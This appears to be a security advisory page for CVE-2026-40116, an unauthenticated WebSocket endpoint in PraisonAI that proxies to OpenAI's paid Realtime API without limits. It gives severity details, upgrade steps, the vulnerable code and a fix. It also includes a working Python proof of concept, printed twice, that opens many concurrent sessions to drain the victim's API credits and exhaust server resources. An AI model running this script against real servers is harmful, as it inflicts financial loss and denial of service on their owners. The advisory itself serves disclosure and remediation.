CVE-2026-40116: PraisonAI Unauthenticated WebSocket Endpoint Proxies To Vulnerability

HIGH
Advisory Identifier: GHSA-q5r4-47m9-5mc7
CVSS 7.5
CWE-770
Published
Advisory Summary

CVE-2026-40116 is a HIGH (CVSS 7.5) unauthenticated websocket endpoint proxies to vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves unauthenticated websocket endpoint proxies to paid openai realtime api without rate limits. Remediation is available by upgrading affected packages to version 4.5.128.

CVE-2026-40116 at a Glance

CVE Identifier CVE-2026-40116
GHSA Identifier GHSA-q5r4-47m9-5mc7
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-40116

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

PraisonAI fixed: 4.5.128
pip install PraisonAI>=4.5.128
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show PraisonAI

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-40116, inspect your installed packages using pip:

pip show PraisonAI

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.128), your application is affected.

Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `/media-stream` WebSocket endpoint in PraisonAI's call module accepts connections from any client without authentication or Twilio signature validation. Each connection opens an authenticated session to OpenAI's Realtime API using the server's API key. There are no limits on concurrent connections, message rate, or message size, allowing an unauthenticated attacker to exhaust server resources and drain the victim's OpenAI API credits. ## Details The vulnerability exists in `src/praisonai/praisonai/api/call.py`. The FastAPI application defines a WebSocket endpoint at line 108 with no authentication middleware, no Twilio request signature validation, and no rate limiting: ```python # line 108-112 — no auth, no middleware, accepts any WebSocket client @app.websocket("/media-stream") async def handle_media_stream(websocket: WebSocket): """Handle WebSocket connections between Twilio and OpenAI.""" print("Client connected") await websocket.accept() ``` Immediately upon connection, the handler opens an authenticated session to OpenAI's paid Realtime API using the server's `OPENAI_API_KEY`: ```python # line 114-120 — each unauthenticated connection spawns a paid API session async with websockets.connect( 'wss://api.openai.com/v1/realtime?model=gpt-4o-realtime-preview-2024-10-01', extra_headers={ "Authorization": f"Bearer {OPENAI_API_KEY}", "OpenAI-Beta": "realtime=v1" } ) as openai_ws: ``` The `receive_from_twilio()` coroutine then reads unlimited messages and forwards them directly to OpenAI: ```python # line 128-135 — unbounded message ingestion, no size/rate check async for message in websocket.iter_text(): data = json.loads(message) if data['event'] == 'media' and openai_ws.open: audio_append = { "type": "input_audio_buffer.append", "audio": data['media']['payload'] } await openai_ws.send(json.dumps(audio_append)) ``` The server binds to `0.0.0.0` (line 273) and can be exposed to the internet via ngrok (`--public` flag). Twilio's `RequestValidator` is never used — the endpoint was designed to receive Twilio media streams but performs no verification that the connecting client is actually Twilio. The standard mitigation for Twilio WebSocket endpoints is to validate the `X-Twilio-Signature` header, which is absent here. Additionally, `uvicorn.run()` is called without a `ws_max_size` parameter (line 273), defaulting to 16MB per WebSocket message. Combined with no connection limit, this allows substantial memory consumption. ## PoC ```bash # Step 1: Verify the endpoint is accessible and accepts connections python3 -c " import asyncio import websockets import json async def test(): async with websockets.connect('ws://TARGET:8090/media-stream') as ws: # Send a start event (mimicking Twilio) await ws.send(json.dumps({ 'event': 'start', 'start': {'streamSid': 'attacker-session-1'} })) # Send a media event — this gets forwarded to OpenAI Realtime API await ws.send(json.dumps({ 'event': 'media', 'media': {'payload': 'SGVsbG8gV29ybGQ='} })) # Receive the OpenAI response routed back response = await asyncio.wait_for(ws.recv(), timeout=10) print('Received response (confirms OpenAI session active):', response[:200]) asyncio.run(test()) " # Step 2: Demonstrate resource exhaustion — open multiple concurrent connections # Each connection spawns an OpenAI Realtime API session billed to the server owner python3 -c " import asyncio import websockets import json import base64 async def open_session(i): uri = 'ws://TARGET:8090/media-stream' async with websockets.connect(uri) as ws: await ws.send(json.dumps({ 'event': 'start', 'start': {'streamSid': f'attacker-{i}'} })) # Send audio data to keep the OpenAI session active and billing payload = base64.b64encode(b'\\x00' * 8000).decode() # ~8KB audio chunk for _ in range(100): await ws.send(json.dumps({ 'event': 'media', 'media': {'payload': payload} })) await asyncio.sleep(0.01) print(f'Session {i}: sent 100 audio chunks to OpenAI via proxy') async def main(): # Open 10 concurrent sessions (each consuming OpenAI Realtime API credits) await asyncio.gather(*[open_session(i) for i in range(10)]) asyncio.run(main()) " ``` Replace `TARGET` with the server's hostname/IP. Each connection in Step 2 opens a separate authenticated OpenAI Realtime API session. The server logs will show "Client connected" and "Incoming stream has started" for each attacker session. ## Impact 1. **OpenAI API credit drain**: Each unauthenticated WebSocket connection opens a billed OpenAI Realtime API session. An attacker can open many concurrent sessions and stream audio data, accumulating charges on the victim's OpenAI account. The Realtime API bills per-second of audio, making this financially impactful. 2. **Denial of service**: Legitimate Twilio callers are denied service when the server's resources (memory, file descriptors, OpenAI API rate limits) are exhausted by attacker connections. 3. **Server memory exhaustion**: With no per-message size limit (16MB default) and no connection limit, an attacker can consume server memory by opening many connections and sending large payloads. ## Recommended Fix Add Twilio signature validation, connection limits, and rate limiting: ```python from twilio.request_validator import RequestValidator from starlette.websockets import WebSocketState import time # Connection tracking MAX_CONCURRENT_CONNECTIONS = 20 active_connections = 0 connection_lock = asyncio.Lock() TWILIO_AUTH_TOKEN = os.getenv('TWILIO_AUTH_TOKEN') @app.websocket("/media-stream") async def handle_media_stream(websocket: WebSocket): global active_connections # Enforce connection limit async with connection_lock: if active_connections >= MAX_CONCURRENT_CONNECTIONS: await websocket.close(code=1008, reason="Too many connections") return active_connections += 1 try: # Validate Twilio signature if auth token is configured if TWILIO_AUTH_TOKEN: validator = RequestValidator(TWILIO_AUTH_TOKEN) url = str(websocket.url).replace("ws://", "http://").replace("wss://", "https://") signature = websocket.headers.get("X-Twilio-Signature", "") if not validator.validate(url, {}, signature): await websocket.close(code=1008, reason="Invalid signature") return await websocket.accept() # ... rest of handler ... finally: async with connection_lock: active_connections -= 1 ``` Additionally, pass `ws_max_size` to uvicorn to limit individual message sizes: ```python uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning", ws_max_size=1_048_576) # 1MB ```

CVE-2026-40116 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.5.128
Product / Package Ecosystem Affected Versions Fixed Version
PraisonAI
PyPI
< 4.5.128
4.5.128

References

Frequently Asked Questions

What is CVE-2026-40116?
CVE-2026-40116 is a security vulnerability in PraisonAI involving Unauthenticated WebSocket Endpoint Proxies to Paid OpenAI Realtime API Without Rate Limits under CWE-770: Allocation of Resources Without Limits or Throttling.
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.5.128 across affected packages: PraisonAI.
What version fixes CVE-2026-40116?
Upgrading to 4.5.128 (or the latest patched release for your respective branch) resolves the vulnerability.
Is PraisonAI affected?
Yes, PraisonAI is affected in releases prior to 4.5.128. Upgrade your dependency to 4.5.128 or later.
What is the CVSS score of CVE-2026-40116?
CVE-2026-40116 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-40116?
CVE-2026-40116 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check PyPI dependencies for CVE-2026-40116?
Run the dependency tree command: 'pip show PraisonAI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q5r4-47m9-5mc7",
  "modified" : "2026-04-10T19:22:52Z",
  "published" : "2026-04-10T19:22:52Z",
  "aliases" : [ "CVE-2026-40116" ],
  "summary" : "PraisonAI: Unauthenticated WebSocket Endpoint Proxies to Paid OpenAI Realtime API Without Rate Limits",
  "details" : "## Summary\n\nThe `/media-stream` WebSocket endpoint in PraisonAI's call module accepts connections from any client without authentication or Twilio signature validation. Each connection opens an authenticated session to OpenAI's Realtime API using the server's API key. There are no limits on concurrent connections, message rate, or message size, allowing an unauthenticated attacker to exhaust server resources and drain the victim's OpenAI API credits.\n\n## Details\n\nThe vulnerability exists in `src/praisonai/praisonai/api/call.py`. The FastAPI application defines a WebSocket endpoint at line 108 with no authentication middleware, no Twilio request signature validation, and no rate limiting:\n\n```python\n# line 108-112 — no auth, no middleware, accepts any WebSocket client\n@app.websocket(\"/media-stream\")\nasync def handle_media_stream(websocket: WebSocket):\n    \"\"\"Handle WebSocket connections between Twilio and OpenAI.\"\"\"\n    print(\"Client connected\")\n    await websocket.accept()\n```\n\nImmediately upon connection, the handler opens an authenticated session to OpenAI's paid Realtime API using the server's `OPENAI_API_KEY`:\n\n```python\n# line 114-120 — each unauthenticated connection spawns a paid API session\n    async with websockets.connect(\n        'wss://api.openai.com/v1/realtime?model=gpt-4o-realtime-preview-2024-10-01',\n        extra_headers={\n            \"Authorization\": f\"Bearer {OPENAI_API_KEY}\",\n            \"OpenAI-Beta\": \"realtime=v1\"\n        }\n    ) as openai_ws:\n```\n\nThe `receive_from_twilio()` coroutine then reads unlimited messages and forwards them directly to OpenAI:\n\n```python\n# line 128-135 — unbounded message ingestion, no size/rate check\n                async for message in websocket.iter_text():\n                    data = json.loads(message)\n                    if data['event'] == 'media' and openai_ws.open:\n                        audio_append = {\n                            \"type\": \"input_audio_buffer.append\",\n                            \"audio\": data['media']['payload']\n                        }\n                        await openai_ws.send(json.dumps(audio_append))\n```\n\nThe server binds to `0.0.0.0` (line 273) and can be exposed to the internet via ngrok (`--public` flag). Twilio's `RequestValidator` is never used — the endpoint was designed to receive Twilio media streams but performs no verification that the connecting client is actually Twilio. The standard mitigation for Twilio WebSocket endpoints is to validate the `X-Twilio-Signature` header, which is absent here.\n\nAdditionally, `uvicorn.run()` is called without a `ws_max_size` parameter (line 273), defaulting to 16MB per WebSocket message. Combined with no connection limit, this allows substantial memory consumption.\n\n## PoC\n\n```bash\n# Step 1: Verify the endpoint is accessible and accepts connections\npython3 -c \"\nimport asyncio\nimport websockets\nimport json\n\nasync def test():\n    async with websockets.connect('ws://TARGET:8090/media-stream') as ws:\n        # Send a start event (mimicking Twilio)\n        await ws.send(json.dumps({\n            'event': 'start',\n            'start': {'streamSid': 'attacker-session-1'}\n        }))\n        # Send a media event — this gets forwarded to OpenAI Realtime API\n        await ws.send(json.dumps({\n            'event': 'media',\n            'media': {'payload': 'SGVsbG8gV29ybGQ='}\n        }))\n        # Receive the OpenAI response routed back\n        response = await asyncio.wait_for(ws.recv(), timeout=10)\n        print('Received response (confirms OpenAI session active):', response[:200])\n\nasyncio.run(test())\n\"\n\n# Step 2: Demonstrate resource exhaustion — open multiple concurrent connections\n# Each connection spawns an OpenAI Realtime API session billed to the server owner\npython3 -c \"\nimport asyncio\nimport websockets\nimport json\nimport base64\n\nasync def open_session(i):\n    uri = 'ws://TARGET:8090/media-stream'\n    async with websockets.connect(uri) as ws:\n        await ws.send(json.dumps({\n            'event': 'start',\n            'start': {'streamSid': f'attacker-{i}'}\n        }))\n        # Send audio data to keep the OpenAI session active and billing\n        payload = base64.b64encode(b'\\\\x00' * 8000).decode()  # ~8KB audio chunk\n        for _ in range(100):\n            await ws.send(json.dumps({\n                'event': 'media',\n                'media': {'payload': payload}\n            }))\n            await asyncio.sleep(0.01)\n        print(f'Session {i}: sent 100 audio chunks to OpenAI via proxy')\n\nasync def main():\n    # Open 10 concurrent sessions (each consuming OpenAI Realtime API credits)\n    await asyncio.gather(*[open_session(i) for i in range(10)])\n\nasyncio.run(main())\n\"\n```\n\nReplace `TARGET` with the server's hostname/IP. Each connection in Step 2 opens a separate authenticated OpenAI Realtime API session. The server logs will show \"Client connected\" and \"Incoming stream has started\" for each attacker session.\n\n## Impact\n\n1. **OpenAI API credit drain**: Each unauthenticated WebSocket connection opens a billed OpenAI Realtime API session. An attacker can open many concurrent sessions and stream audio data, accumulating charges on the victim's OpenAI account. The Realtime API bills per-second of audio, making this financially impactful.\n\n2. **Denial of service**: Legitimate Twilio callers are denied service when the server's resources (memory, file descriptors, OpenAI API rate limits) are exhausted by attacker connections.\n\n3. **Server memory exhaustion**: With no per-message size limit (16MB default) and no connection limit, an attacker can consume server memory by opening many connections and sending large payloads.\n\n## Recommended Fix\n\nAdd Twilio signature validation, connection limits, and rate limiting:\n\n```python\nfrom twilio.request_validator import RequestValidator\nfrom starlette.websockets import WebSocketState\nimport time\n\n# Connection tracking\nMAX_CONCURRENT_CONNECTIONS = 20\nactive_connections = 0\nconnection_lock = asyncio.Lock()\n\nTWILIO_AUTH_TOKEN = os.getenv('TWILIO_AUTH_TOKEN')\n\n@app.websocket(\"/media-stream\")\nasync def handle_media_stream(websocket: WebSocket):\n    global active_connections\n    \n    # Enforce connection limit\n    async with connection_lock:\n        if active_connections >= MAX_CONCURRENT_CONNECTIONS:\n            await websocket.close(code=1008, reason=\"Too many connections\")\n            return\n        active_connections += 1\n    \n    try:\n        # Validate Twilio signature if auth token is configured\n        if TWILIO_AUTH_TOKEN:\n            validator = RequestValidator(TWILIO_AUTH_TOKEN)\n            url = str(websocket.url).replace(\"ws://\", \"http://\").replace(\"wss://\", \"https://\")\n            signature = websocket.headers.get(\"X-Twilio-Signature\", \"\")\n            if not validator.validate(url, {}, signature):\n                await websocket.close(code=1008, reason=\"Invalid signature\")\n                return\n        \n        await websocket.accept()\n        # ... rest of handler ...\n    finally:\n        async with connection_lock:\n            active_connections -= 1\n```\n\nAdditionally, pass `ws_max_size` to uvicorn to limit individual message sizes:\n\n```python\nuvicorn.run(app, host=\"0.0.0.0\", port=port, log_level=\"warning\", ws_max_size=1_048_576)  # 1MB\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.128"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-q5r4-47m9-5mc7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40116"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:22:52Z",
    "nvd_published_at" : "2026-04-09T22:16:35Z"
  }
}